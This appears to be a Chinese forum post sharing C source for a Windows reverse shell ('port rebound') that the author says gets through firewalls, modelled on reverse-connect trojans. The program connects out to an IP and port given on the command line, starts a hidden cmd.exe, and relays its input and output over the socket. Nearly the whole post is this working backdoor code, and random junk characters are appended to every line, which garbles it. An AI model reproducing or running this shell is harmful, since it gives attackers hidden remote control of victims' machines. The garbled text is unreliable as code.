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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 m:CpDxzbf  
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/* ============================== O0RQ}~$'m  
Rebound port in Windows NT k{62UaL.  
By wind,2006/7 &>{L"{  
===============================*/ | 'G$}]H  
#include v}@ 6"\  
#include GssoT<Y)Z  
zv@o- R$l  
#pragma comment(lib,"wsock32.lib") o\[nGf C&  
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void OutputShell(); ~<LI p%5(  
SOCKET sClient; b\mN^P~>A  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Xw)+5+t"{  
s]OXB {M  
void main(int argc,char **argv) 0@;E8^pa  
{ m^KkS   
WSADATA stWsaData; ?zqXHv#x  
int nRet; Gr?gHAT  
SOCKADDR_IN stSaiClient,stSaiServer; <o}t-Bgg  
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if(argc != 3) '#?hm-Ga  
{ '/?&Gol-  
printf("Useage:\n\rRebound DestIP DestPort\n"); u"ow?[E  
return; 4esf&-gG  
} &(0);I@fc  
q~C6+  
WSAStartup(MAKEWORD(2,2),&stWsaData); 3:S"!F  
up6LO7drW/  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9AaixI  
4 @h6|=  
stSaiClient.sin_family = AF_INET; $MHc4FE[  
stSaiClient.sin_port = htons(0); $2 0*&4y^  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); M:N> {_1&  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) u#QQCgrs  
{ #=rI[KI  
printf("Bind Socket Failed!\n"); $ a7^3  
return; FS[CUoA  
} kJ >B)  
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stSaiServer.sin_family = AF_INET; r38CPdE;}  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); X8<ygci+.5  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); TkykI  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h#>67gJV  
{ JaEyVe  
printf("Connect Error!"); &Jz%L^  
return; Q_S fFsY  
} NH/H+7,o  
OutputShell(); Ghz)=3  
} @EvnV.  
h fNBWN  
void OutputShell() nr}H;wB  
{ v{+*/NQ_  
char szBuff[1024]; mz''-1YY$  
SECURITY_ATTRIBUTES stSecurityAttributes; [z?XVl<  
OSVERSIONINFO stOsversionInfo; 4 Q.70  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }v{F9dv  
STARTUPINFO stStartupInfo; "[G P)nC  
char *szShell; V.}U p+WL  
PROCESS_INFORMATION stProcessInformation; M II]sF  
unsigned long lBytesRead; zKZ6Qjd8!  
s_|wvOW)'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 4YJs4CB  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {k>m5L  
stSecurityAttributes.lpSecurityDescriptor = 0; ;J<kG@  
stSecurityAttributes.bInheritHandle = TRUE; : &]%E/  
Vs(;al'  
yl*S|= 8;k  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); I]h+24_S  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 4V=dD<3m  
h&XyMm9C  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |Ia46YS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;tj_vmZ@R  
stStartupInfo.wShowWindow = SW_HIDE; G{:L^2>  
stStartupInfo.hStdInput = hReadPipe; PGJ?=qXr#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; cCwT0O#d  
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GetVersionEx(&stOsversionInfo); DF#Ob( 1  
7be?=c)+"  
switch(stOsversionInfo.dwPlatformId) ) ":~`Z*@  
{ SU:Cm: $  
case 1: .w`8_v&Y  
szShell = "command.com"; WZ ZD  
break; 2>mDT  
default: umj7-fh  
szShell = "cmd.exe"; v/)dsSNZ0u  
break; ){/y-ixH  
} r$+9grm<  
BZE19!  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ?/O+5rjA  
/OZF3Pft  
send(sClient,szMsg,77,0); c~cYNW:  
while(1) ?x:\RNB/  
{ _A(J^;?  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); tFRWxy[5  
if(lBytesRead) P5Fm<f8\  
{ 3Z`oI#-x  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4Hu.o7  
send(sClient,szBuff,lBytesRead,0); ^0VI J)y  
} o] = &  
else 1iz\8R:0  
{ sI`Lsd'V  
lBytesRead=recv(sClient,szBuff,1024,0); ^<< Wqmx  
if(lBytesRead<=0) break; ^LZU><{';  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); " jy'Dpy0m  
} atY m.qb  
} +* &!u=%G  
Ly3^zF W  
return; X(/W|RY{@  
}
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